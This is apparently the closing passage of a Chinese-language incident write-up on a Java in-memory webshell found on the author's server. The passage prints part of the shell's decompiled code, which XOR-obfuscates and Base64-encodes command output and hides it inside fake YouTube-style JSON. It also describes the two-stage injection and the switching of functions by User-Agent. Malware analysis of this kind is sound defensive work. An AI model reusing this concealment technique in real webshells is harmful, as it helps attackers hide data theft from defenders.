var4.equals(var3); // 传递输出流
var4.equals(var1); // 传递输入数据
var4.toString(); // 触发恶意操作
// 5. 处理并混淆结果
byte[] var5 = var3.toByteArray();
var5 = xor(var5); // XOR混淆
var5 = base64Encode(var5); // Base64编码
// 6. 封装合法JSON
var3.write(base64Decode("eyJyZXNwb25zZUNvbnRleHQiOnsi~~省略".getBytes()));
var3.write(var5);
var3.write(base64Decode("IiwidXBkYXRlTm90aWZpY2F0aW9uc1Vuc2VlbkNvdW50QWN0aW9uIjp7~~省略".getBytes()));
return var3.toByteArray();
}
解密base64分析,返回体,返回体大概是这样子的
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8;
{
"responseContext": {...},
"actions": [
{
"clickTrackingParams": "gASVDAAAAAAAAACMBGF...", //返回的数据,拼接内存马的返回
...
}
]
总结
这次内存马水平超级吊,分了两次打入,判断UA字段实现木马的功能区分,实际在之前还有一次测试的攻击,目的为了测试我们的系统是否兼容大佬的内存马,整个思路很清奇,纯粹的攻击
